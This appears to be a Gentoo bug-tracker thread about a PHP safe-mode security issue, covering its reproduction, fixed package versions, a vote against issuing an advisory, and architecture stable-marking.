CHTEKK reports this as reproducable (somewhat incomplete on 5.1.4, though).
NB: i might be wrong, but i thought sec team doesn't handle "safe mode" issues
That would be wise indeed. I admit I didn't really put much thought in it as I was in a hurry @work and just didn't want to let it slip by.
Fixed in dev-lang/php-4.4.2-r6 and dev-lang/php-5.1.4-r4. Stabling of those two PHP versions can be handled in bug 133524. Best regards, CHTEKK.
This one is ready for GLSA decision. I vote NO.
Yeah, probably not worth it. "No".
"No" and closed, feel free to reopen if you disagree blabla.
Reopening for stable marking. Since bug #133524 does not affect remaining arches. Sorry for the mess.
dev-lang/php-4.4.2-r6 and dev-lang/php-5.1.4-r4 still miss the hppa mark.
This is superseded by bug 143126 which requires higher versions stable marking.
